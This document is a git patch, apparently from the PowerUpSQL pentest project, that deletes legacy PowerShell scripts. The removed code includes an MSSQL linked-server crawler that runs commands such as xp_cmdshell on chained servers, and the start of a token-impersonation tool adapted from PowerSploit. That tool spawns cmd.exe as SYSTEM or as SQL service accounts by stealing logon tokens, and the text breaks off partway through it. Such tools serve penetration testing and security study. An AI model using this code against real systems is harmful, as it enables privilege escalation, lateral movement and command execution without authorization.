+-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind. + -- Setup Variables DECLARE @url varchar(300) DECLARE @WinHTTP int From a4f9342536beb59906acb5153bd546f6a259493e Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 6 Sep 2017 16:34:47 -0500 Subject: [PATCH 076/145] Removed legacy scripts. Removed legacy scripts. --- scripts/pending/Get-SQLServerLinkCrawl.ps1 | 527 ----- ...voke-SqlServerServiceImpersonation-Cmd.ps1 | 1949 ---------------- ...oke-SqlServerServiceImpersonation-Ssms.ps1 | 1950 ----------------- 3 files changed, 4426 deletions(-) delete mode 100644 scripts/pending/Get-SQLServerLinkCrawl.ps1 delete mode 100644 scripts/pending/Invoke-SqlServerServiceImpersonation-Cmd.ps1 delete mode 100644 scripts/pending/Invoke-SqlServerServiceImpersonation-Ssms.ps1 diff --git a/scripts/pending/Get-SQLServerLinkCrawl.ps1 b/scripts/pending/Get-SQLServerLinkCrawl.ps1 deleted file mode 100644 index e97d344..0000000 --- a/scripts/pending/Get-SQLServerLinkCrawl.ps1 +++ /dev/null @@ -1,527 +0,0 @@ -Function Get-SQLCrawl{ - <# - .SYNOPSIS - Get-SQLCrawl attempts to enumerate and follow MSSQL database links. - .DESCRIPTION - Get-SQLCrawl attempts to enumerate and follow MSSQL database links. The function enumerates database names, versions, and links, - and then enumerates the MSSQL user and the privileges that the link path has. - .EXAMPLE - Get-SQLCrawl -Instance "servername\instancename" -ByLinkPath - .PARAMETER Username - SQL Server or domain account to authenticate with. - .PARAMETER Password - SQL Server or domain account password to authenticate with. - .PARAMETER Credential - Windows credentials. - .PARAMETER Instance - SQL Server instance to connection to. - .PARAMETER DAC - Dedicated Administrator Connection (DAC). - .PARAMETER TimeOut - Connection timeout. - .PARAMETER Query - Custom SQL query to run on each server. - .PARAMETER Export - Convert collected data to exportable format. - #> - [CmdletBinding()] - Param( - [Parameter(Mandatory=$false, - HelpMessage="SQL Server or domain account to authenticate with.")] - [string]$Username, - - [Parameter(Mandatory=$false, - HelpMessage="SQL Server or domain account password to authenticate with.")] - [string]$Password, - - [Parameter(Mandatory=$false, - HelpMessage="Windows credentials.")] - [System.Management.Automation.PSCredential] - [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, - - [Parameter(Mandatory=$false, - ValueFromPipelineByPropertyName=$true, - HelpMessage="SQL Server instance to connection to.")] - [string]$Instance, - - [Parameter(Mandatory=$false, - HelpMessage="Dedicated Administrator Connection (DAC).")] - [Switch]$DAC, - - [Parameter(Mandatory=$false, - HelpMessage="Connection timeout.")] - [int]$TimeOut = 2, - - [Parameter(Mandatory=$false, - HelpMessage="Custom SQL query to run on each server.")] - [string]$Query, - - [Parameter(Mandatory=$false, - HelpMessage="Convert collected data to exportable format.")] - [switch]$Export - ) - - Begin - { - $List = @() - - $Server = New-Object PSObject -Property @{ Name=""; Version=""; Links=@(); Path=@(); User=""; Sysadmin=""; CustomQuery=""} - - $List += $Server - $SqlInfoTable = New-Object System.Data.DataTable - } - - Process - { - $i=1 - while($i){ - $i-- - foreach($Server in $List){ - if($Server.Name -eq "") { - $List = (Get-SQLServerLink -list $List -server $Server -query $Query) - $i++ - - # Verbose output - $myname = $server.name - $myLinkPath = $server.path - $myPath = $myLinkPath -join ' -> ' - $mylinks = $server.links - $mysysadmin = $server.sysadmin - $myuser = $server.user - $myLinkCount = $mylinks.count - - write-verbose "--------------------------------" - Write-Verbose " Server: $myname" - write-verbose "--------------------------------" - write-verbose " - Link Path to server: $myPath" - write-verbose " - Link Login: $myuser" - write-verbose " - Link IsSysAdmin: $mysysadmin" - write-verbose " - Link Count: $myLinkCount" - write-verbose " - Links on this server:$mylinks" - } - } - } - - if($Export){ - $LinkList = New-Object System.Data.Datatable - [void]$LinkList.Columns.Add("Name") - [void]$LinkList.Columns.Add("Version") - [void]$LinkList.Columns.Add("Path") - [void]$LinkList.Columns.Add("Links") - [void]$LinkList.Columns.Add("User") - [void]$LinkList.Columns.Add("Sysadmin") - [void]$LinkList.Columns.Add("CustomQuery") - - foreach($Server in $List){ - [void]$LinkList.Rows.Add($Server.name,$Server.version,$Server.path -join " -> ", $Server.links -join ",", $Server.user, $Server.Sysadmin, $Server.CustomQuery -join ",") - } - - return $LinkList - } else { - return $List - } - } - - End - { - } -} - -Function Get-SQLServerLink{ - [CmdletBinding()] - Param( - [Parameter(Mandatory=$true, - HelpMessage="List of server objects identified during the crawling")] - $List, - - [Parameter(Mandatory=$true, - HelpMessage="Server object to be tested")] - $Server, - - [Parameter(Mandatory=$false, - HelpMessage="Custom SQL query to run")] - $Query - ) - - Begin - { - $SqlInfoQuery = "select @@servername as servername, @@version as version, system_user as linkuser, is_srvrolemember('sysadmin') as role" - $SqlLinksQuery = "select srvname from master..sysservers where dataaccess=1" - } - - Process - { - $SqlInfoTable = Get-SqlQuery -instance $Instance -Query ((Get-SQLLinkQuery -path $Server.Path -sql $SqlInfoQuery)) -Timeout $Timeout -Username $UserName -Password $Password -Credential $Credential - if($SqlInfoTable.Servername -ne $null){ - $Server.Name = $SqlInfoTable.Servername - $Server.Version = [System.String]::Join("",(($SqlInfoTable.Version)[10..25])) - $Server.Sysadmin = $sqlInfoTable.role - $Server.User = $sqlInfoTable.linkuser - - if($List.Count -eq 1) { $Server.Path += ,$sqlInfoTable.servername } - - $SqlInfoTable = Get-SqlQuery -instance $Instance -Query ((Get-SQLLinkQuery -path $Server.Path -sql $SqlLinksQuery)) -Timeout $Timeout -Username $UserName -Password $Password -Credential $Credential - $Server.Links = [array]$SqlInfoTable.srvname - - if($Query -ne ""){ - if($Query -like '*xp_cmdshell*'){ - $Query = $Query + " WITH RESULT SETS ((output VARCHAR(8000)))" - } - if($Query -like '*xp_dirtree*'){ - $Query = $Query + " WITH RESULT SETS ((output VARCHAR(8000), depth int))" - } - $SqlInfoTable = Get-SqlQuery -instance $Instance -Query ((Get-SQLLinkQuery -path $Server.Path -sql $Query)) -Timeout $Timeout -Username $UserName -Password $Password -Credential $Credential - if($Query -like '*WITH RESULT SETS*'){ - $Server.CustomQuery = $SqlInfoTable.output - } else { - $Server.CustomQuery = $SqlInfoTable - } - } - - if(($Server.Path | Sort-Object | Get-Unique).Count -eq ($Server.Path).Count){ - foreach($Link in $Server.Links){ - $Linkpath = $Server.Path + $Link - $List += ,(New-Object PSObject -Property @{ Name=""; Version=""; Links=@(); Path=$Linkpath; User=""; Sysadmin=""; CustomQuery="" }) - } - } - } else { - $Server.Name = "Broken Link" - } - return $List - } -} - -Function Get-SQLLinkQuery{ - [CmdletBinding()] - Param( - [Parameter(Mandatory=$false, - HelpMessage="SQL link path to crawl")] - $Path=@(), - - [Parameter(Mandatory=$false, - HelpMessage="SQL query to build the crawl path around")] - $Sql, - - [Parameter(Mandatory=$false, - HelpMessage="Counter to determine how many single quotes needed")] - $Ticks=0 - - ) - if ($Path.length -le 1){ - return($Sql -replace "'", ("'"*[Math]::pow(2,$Ticks))) - } else { - return("select * from openquery(`""+$Path[1]+"`","+"'"*[Math]::pow(2,$Ticks)+ - (Get-SQLLinkQuery -path $Path[1..($Path.Length-1)] -sql $Sql -ticks ($Ticks+1))+"'"*[Math]::pow(2,$Ticks)+")") - } -} - -Function Get-SQLQuery -{ - <# - .SYNOPSIS - Executes a query on target SQL servers.This - .PARAMETER Username - SQL Server or domain account to authenticate with. - .PARAMETER Password - SQL Server or domain account password to authenticate with. - .PARAMETER Credential - SQL Server credential. - .PARAMETER Instance - SQL Server instance to connection to. - .PARAMETER DAC - Connect using Dedicated Admin Connection. - .PARAMETER Database - Default database to connect to. - .PARAMETER TimeOut - Connection time out. - .PARAMETER SuppressVerbose - Suppress verbose errors. Used when function is wrapped. - .PARAMETER Threads - Number of concurrent threads. - .PARAMETER Query - Query to be executed on the SQL Server. - .EXAMPLE - PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 - .EXAMPLE - PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15 - .EXAMPLE - PS C:\> Get-SQLInstanceDomain | Get-SQLQuery -Verbose -Query "Select @@version" -Threads 15 - #> - [CmdletBinding()] - Param( - [Parameter(Mandatory = $false, - ValueFromPipelineByPropertyName = $true, - HelpMessage = 'SQL Server or domain account to authenticate with.')] - [string]$Username, - - [Parameter(Mandatory = $false, - ValueFromPipelineByPropertyName = $true, - HelpMessage = 'SQL Server or domain account password to authenticate with.')] - [string]$Password, - - [Parameter(Mandatory = $false, - HelpMessage = 'Windows credentials.')] - [System.Management.Automation.PSCredential] - [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, - - [Parameter(Mandatory = $false, - ValueFromPipelineByPropertyName = $true, - HelpMessage = 'SQL Server instance to connection to.')] - [string]$Instance, - - [Parameter(Mandatory = $false, - ValueFromPipelineByPropertyName = $true, - HelpMessage = 'SQL Server query.')] - [string]$Query, - - [Parameter(Mandatory = $false, - HelpMessage = 'Connect using Dedicated Admin Connection.')] - [Switch]$DAC, - - [Parameter(Mandatory = $false, - HelpMessage = 'Default database to connect to.')] - [String]$Database, - - [Parameter(Mandatory = $false, - HelpMessage = 'Connection timeout.')] - [int]$TimeOut, - - [Parameter(Mandatory = $false, - HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] - [switch]$SuppressVerbose, - - [Parameter(Mandatory = $false, - HelpMessage = 'Return error message if exists.')] - [switch]$ReturnError - ) - - Begin - { - # Setup up data tables for output - $TblQueryResults = New-Object -TypeName System.Data.DataTable - } - - Process - { - # Setup DAC string - if($DAC) - { - # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database - } - else - { - # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database - } - - # Parse SQL Server instance name - $ConnectionString = $Connection.Connectionstring - $Instance = $ConnectionString.split(';')[0].split('=')[1] - - # Check for query - if($Query) - { - # Attempt connection - try - { - # Open connection - $Connection.Open() - - if(-not $SuppressVerbose) - { - #Write-Verbose -Message "$Instance : Connection Success." - } - - # Setup SQL query - $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) - - # Grab results - $Results = $Command.ExecuteReader() - - # Load results into data table - $TblQueryResults.Load($Results) - - # Close connection - $Connection.Close() - - # Dispose connection - $Connection.Dispose() - } - catch - { - # Connection failed - for detail error use Get-SQLConnectionTest - if(-not $SuppressVerbose) - { - #Write-Verbose -Message "$Instance : Connection Failed." - } - - if($ReturnError) - { - $ErrorMessage = $_.Exception.Message - #Write-Verbose " Error: $ErrorMessage" - } - } - } - else - { - Write-Output -InputObject 'No query provided to Get-SQLQuery function.' - Break - } - } - - End - { - # Return Results - if($ReturnError) - { - $ErrorMessage - } - else - { - $TblQueryResults - } - } -} - -Function Get-SQLConnectionObject -{ - <# - .SYNOPSIS - Creates a object for connecting to SQL Server. - .PARAMETER Username - SQL Server or domain account to authenticate with. - .PARAMETER Password - SQL Server or domain account password to authenticate with. - .PARAMETER Credential - SQL Server credential. - .PARAMETER Database - Default database to connect to. - .EXAMPLE - PS C:\> Get-SQLConnectionObject -Username MySQLUser -Password MySQLPassword - StatisticsEnabled : False - AccessToken : - ConnectionString : Server=SQLServer1;Database=Master;User ID=MySQLUser;Password=MySQLPassword;Connection Timeout=1 - ConnectionTimeout : 1 - Database : Master - DataSource : SQLServer1 - PacketSize : 8000 - ClientConnectionId : 00000000-0000-0000-0000-000000000000 - ServerVersion : - State : Closed - WorkstationId : SQLServer1 - Credential : - FireInfoMessageEventOnUserErrors : False - Site : - Container : - #> - [CmdletBinding()] - Param( - [Parameter(Mandatory = $false, - HelpMessage = 'SQL Server or domain account to authenticate with.')] - [string]$Username, - - [Parameter(Mandatory = $false, - HelpMessage = 'SQL Server or domain account password to authenticate with.')] - [string]$Password, - - [Parameter(Mandatory = $false, - HelpMessage = 'Windows credentials.')] - [System.Management.Automation.PSCredential] - [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, - - [Parameter(Mandatory = $false, - ValueFromPipelineByPropertyName = $true, - HelpMessage = 'SQL Server instance to connection to.')] - [string]$Instance, - - [Parameter(Mandatory = $false, - HelpMessage = 'Dedicated Administrator Connection (DAC).')] - [Switch]$DAC, - - [Parameter(Mandatory = $false, - HelpMessage = 'Default database to connect to.')] - [String]$Database, - - [Parameter(Mandatory = $false, - HelpMessage = 'Connection timeout.')] - [string]$TimeOut = 1 - ) - - Begin - { - # Setup DAC string - if($DAC) - { - $DacConn = 'ADMIN:' - } - else - { - $DacConn = '' - } - - # Set database filter - if(-not $Database) - { - $Database = 'Master' - } - } - - Process - { - # Check for instance - if ( -not $Instance) - { - $Instance = $env:COMPUTERNAME - } - - # Create connection object - $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection - - # Check for username and password - if($Username -and $Password) - { - # Setup connection string with SQL Server credentials - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" - } - else - { - # Get connecting user - $UserDomain = [Environment]::UserDomainName - $Username = [Environment]::UserName - $ConnectionectUser = "$UserDomain\$Username" - - # Status user - Write-Debug -Message "Attempting to authenticate to $DacConn$Instance as current Windows user ($ConnectionectUser)..." - - # Setup connection string with trusted connection - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" - - <# - # Check for provided credential - if ($Credential){ - $Username = $credential.Username - $Password = $Credential.GetNetworkCredential().Password - # Setup connection string with SQL Server credentials - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" - } - #> - } - - # Return the connection object - return $Connection - } - - End - { - } -} - - -# Example commands -#Get-SQLCrawl -instance "SQLSERVER1\Instance1" -Query "select name from master..sysdatabases" -#Get-SQLCrawl -instance "SQLSERVER1\Instance1" -Query "select name from master..sysdatabases" | select name,version,path,links,user,sysadmin,customquery | format-table -#Get-SQLCrawl -instance "SQLSERVER1\Instance1" -Query "select name from master..sysdatabases" | where name -ne "Broken Link" | select name,version,path,links,user,sysadmin,customquery | format-table -#Get-SQLCrawl -instance "SQLSERVER1\Instance1" -Query "exec master..xp_cmdshell 'whoami'" | format-table -#Get-SQLCrawl -instance "SQLSERVER1\Instance1" -Query "exec xp_dirtree 'c:\temp'" -Export | format-table -#Get-SQLCrawl -instance "SQLSERVER1\Instance1" -Query "select name from master..sysdatabases" -Export | where name -ne "broken link" | sort name | Format-Table diff --git a/scripts/pending/Invoke-SqlServerServiceImpersonation-Cmd.ps1 b/scripts/pending/Invoke-SqlServerServiceImpersonation-Cmd.ps1 deleted file mode 100644 index 0deb182..0000000 --- a/scripts/pending/Invoke-SqlServerServiceImpersonation-Cmd.ps1 +++ /dev/null @@ -1,1949 +0,0 @@ -# script: Invoke-SqlServerServiceImpersonation-Cmd.ps1 -# author: scott sutherland (@_nullbind), 2015 netspi -# Description: This script enumerates running sql server processes and -# opens a cmd.exe console running as each of the associated service account. This can be -# used to gain access to the sql server if the sa password is lost or locked. -#...also its a fun demo during pentests. -# assumes that the sql service accounts are part of the sysadmin role (default configuration) -# requirements: local administrator privileges on the windows server. -# credits: JosephBialek for Invoke-TokenManipulation.ps1 - -function Invoke-TokenManipulation -{ -<# -.SYNOPSIS - -This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use -anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections. -This functionality is very similar to the incognito tool (with some differences, and different use goals). - -This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell -creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token -that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect -to another server as that user (it will authenticate using the primary token of the process, which is your original logon token). - -Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon -Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their -credentials for the authentication. - -IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone". -This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL -is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though, -so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop. -This could show up in logs depending on the level of monitoring. - - -PERMISSIONS REQUIRED: -SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this. -SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0. - - -Important differences from incognito: -First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates -between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service -which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow -you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting -without dumping credentials. - -In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does -matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for -the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types -should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks -for tokens which were created with desirable logon tokens (and only displays them by default). - -In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good). - - -PowerSploit Function: Invoke-TokenManipulation -Author: Joe Bialek, Twitter: @JosephBialek -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None -Version: 1.11 -(1.1 -> 1.11: PassThru of System.Diagnostics.Process object added by Rune Mariboe, https://www.linkedin.com/in/runemariboe) - -.DESCRIPTION - -Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. - -.PARAMETER Enumerate - -Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens). - -.PARAMETER RevToSelf - -Switch. Stops impersonating an alternate users Token. - -.PARAMETER ShowAll - -Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens). - -.PARAMETER ImpersonateUser - -Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId. - This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead. - -.PARAMETER CreateProcess - -Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId. - -.PARAMETER WhoAmI - -Switch. Displays the credentials the PowerShell thread is running under. - -.PARAMETER Username - -Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user. - -.PARAMETER ProcessId - -Specify the Token to use by ProcessId. This will use the primary token of the process specified. - -.PARAMETER Process - -Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process. - -.PARAMETER ThreadId - -Specify the Token to use by ThreadId. This will use the token of the thread specified. - -.PARAMETER ProcessArgs - -Specify the arguments to start the specified process with when using the -CreateProcess mode. - -.PARAMETER NoUI - -If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the -current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control -to "Everyone". - -.PARAMETER PassThru - -If you are creating a process, this will pass the System.Diagnostics.Process object to the pipeline. - - -.EXAMPLE - -Invoke-TokenManipulation -Enumerate - -Lists all unique usable tokens on the computer. - -.EXAMPLE - -Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system" - -Spawns cmd.exe as SYSTEM. - -.EXAMPLE - -Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system" - -Makes the current PowerShell thread impersonate SYSTEM. - -.EXAMPLE - -Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 - -Spawns cmd.exe using the primary token belonging to process ID 500. - -.EXAMPLE - -Invoke-TokenManipulation -ShowAll - -Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon. - -.EXAMPLE - -Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 - -Spawns cmd.exe using the token belonging to thread ID 500. - -.EXAMPLE - -Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" - -Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script. - -.EXAMPLE - -(Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" -PassThru).WaitForExit() - -Spawns cmd.exe using the primary token of LSASS.exe. Then holds the spawning PowerShell session until that process has exited. - -.EXAMPLE - -Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser - -Makes the current thread impersonate the lsass security token. - -.NOTES -This script was inspired by incognito. - -Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/). -BIG THANKS to Matt Graeber for helping debug. - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ - -#> - - [CmdletBinding(DefaultParameterSetName="Enumerate")] - Param( - [Parameter(ParameterSetName = "Enumerate")] - [Switch] - $Enumerate, - - [Parameter(ParameterSetName = "RevToSelf")] - [Switch] - $RevToSelf, - - [Parameter(ParameterSetName = "ShowAll")] - [Switch] - $ShowAll, - - [Parameter(ParameterSetName = "ImpersonateUser")] - [Switch] - $ImpersonateUser, - - [Parameter(ParameterSetName = "CreateProcess")] - [String] - $CreateProcess, - - [Parameter(ParameterSetName = "WhoAmI")] - [Switch] - $WhoAmI, - - [Parameter(ParameterSetName = "ImpersonateUser")] - [Parameter(ParameterSetName = "CreateProcess")] - [String] - $Username, - - [Parameter(ParameterSetName = "ImpersonateUser")] - [Parameter(ParameterSetName = "CreateProcess")] - [Int] - $ProcessId, - - [Parameter(ParameterSetName = "ImpersonateUser", ValueFromPipeline=$true)] - [Parameter(ParameterSetName = "CreateProcess", ValueFromPipeline=$true)] - [System.Diagnostics.Process] - $Process, - - [Parameter(ParameterSetName = "ImpersonateUser")] - [Parameter(ParameterSetName = "CreateProcess")] - $ThreadId, - - [Parameter(ParameterSetName = "CreateProcess")] - [String] - $ProcessArgs, - - [Parameter(ParameterSetName = "CreateProcess")] - [Switch] - $NoUI, - - [Parameter(ParameterSetName = "CreateProcess")] - [Switch] - $PassThru - ) - - Set-StrictMode -Version 2 - - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-DelegateType - { - Param - ( - [OutputType([Type])] - - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), - - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - Write-Output $TypeBuilder.CreateType() - } - - - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-ProcAddress - { - Param - ( - [OutputType([IntPtr])] - - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, - - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } - - ############################### - #Win32Constants - ############################### - $Constants = @{ - ACCESS_SYSTEM_SECURITY = 0x01000000 - READ_CONTROL = 0x00020000 - SYNCHRONIZE = 0x00100000 - STANDARD_RIGHTS_ALL = 0x001F0000 - TOKEN_QUERY = 8 - TOKEN_ADJUST_PRIVILEGES = 0x20 - ERROR_NO_TOKEN = 0x3f0 - SECURITY_DELEGATION = 3 - DACL_SECURITY_INFORMATION = 0x4 - ACCESS_ALLOWED_ACE_TYPE = 0x0 - STANDARD_RIGHTS_REQUIRED = 0x000F0000 - DESKTOP_GENERIC_ALL = 0x000F01FF - WRITE_DAC = 0x00040000 - OBJECT_INHERIT_ACE = 0x1 - GRANT_ACCESS = 0x1 - TRUSTEE_IS_NAME = 0x1 - TRUSTEE_IS_SID = 0x0 - TRUSTEE_IS_USER = 0x1 - TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 - TRUSTEE_IS_GROUP = 0x2 - PROCESS_QUERY_INFORMATION = 0x400 - TOKEN_ASSIGN_PRIMARY = 0x1 - TOKEN_DUPLICATE = 0x2 - TOKEN_IMPERSONATE = 0x4 - TOKEN_QUERY_SOURCE = 0x10 - STANDARD_RIGHTS_READ = 0x20000 - TokenStatistics = 10 - TOKEN_ALL_ACCESS = 0xf01ff - MAXIMUM_ALLOWED = 0x02000000 - THREAD_ALL_ACCESS = 0x1f03ff - ERROR_INVALID_PARAMETER = 0x57 - LOGON_NETCREDENTIALS_ONLY = 0x2 - SE_PRIVILEGE_ENABLED = 0x2 - SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 - SE_PRIVILEGE_REMOVED = 0x4 - } - - $Win32Constants = New-Object PSObject -Property $Constants - ############################### - - - ############################### - #Win32Structures - ############################### - #Define all the structures/enums that will be used - # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html - $Domain = [AppDomain]::CurrentDomain - $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) - $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - - #ENUMs - $TypeBuilder = $ModuleBuilder.DefineEnum('TOKEN_INFORMATION_CLASS', 'Public', [UInt32]) - $TypeBuilder.DefineLiteral('TokenUser', [UInt32] 1) | Out-Null - $TypeBuilder.DefineLiteral('TokenGroups', [UInt32] 2) | Out-Null - $TypeBuilder.DefineLiteral('TokenPrivileges', [UInt32] 3) | Out-Null - $TypeBuilder.DefineLiteral('TokenOwner', [UInt32] 4) | Out-Null - $TypeBuilder.DefineLiteral('TokenPrimaryGroup', [UInt32] 5) | Out-Null - $TypeBuilder.DefineLiteral('TokenDefaultDacl', [UInt32] 6) | Out-Null - $TypeBuilder.DefineLiteral('TokenSource', [UInt32] 7) | Out-Null - $TypeBuilder.DefineLiteral('TokenType', [UInt32] 8) | Out-Null - $TypeBuilder.DefineLiteral('TokenImpersonationLevel', [UInt32] 9) | Out-Null - $TypeBuilder.DefineLiteral('TokenStatistics', [UInt32] 10) | Out-Null - $TypeBuilder.DefineLiteral('TokenRestrictedSids', [UInt32] 11) | Out-Null - $TypeBuilder.DefineLiteral('TokenSessionId', [UInt32] 12) | Out-Null - $TypeBuilder.DefineLiteral('TokenGroupsAndPrivileges', [UInt32] 13) | Out-Null - $TypeBuilder.DefineLiteral('TokenSessionReference', [UInt32] 14) | Out-Null - $TypeBuilder.DefineLiteral('TokenSandBoxInert', [UInt32] 15) | Out-Null - $TypeBuilder.DefineLiteral('TokenAuditPolicy', [UInt32] 16) | Out-Null - $TypeBuilder.DefineLiteral('TokenOrigin', [UInt32] 17) | Out-Null - $TypeBuilder.DefineLiteral('TokenElevationType', [UInt32] 18) | Out-Null - $TypeBuilder.DefineLiteral('TokenLinkedToken', [UInt32] 19) | Out-Null - $TypeBuilder.DefineLiteral('TokenElevation', [UInt32] 20) | Out-Null - $TypeBuilder.DefineLiteral('TokenHasRestrictions', [UInt32] 21) | Out-Null - $TypeBuilder.DefineLiteral('TokenAccessInformation', [UInt32] 22) | Out-Null - $TypeBuilder.DefineLiteral('TokenVirtualizationAllowed', [UInt32] 23) | Out-Null - $TypeBuilder.DefineLiteral('TokenVirtualizationEnabled', [UInt32] 24) | Out-Null - $TypeBuilder.DefineLiteral('TokenIntegrityLevel', 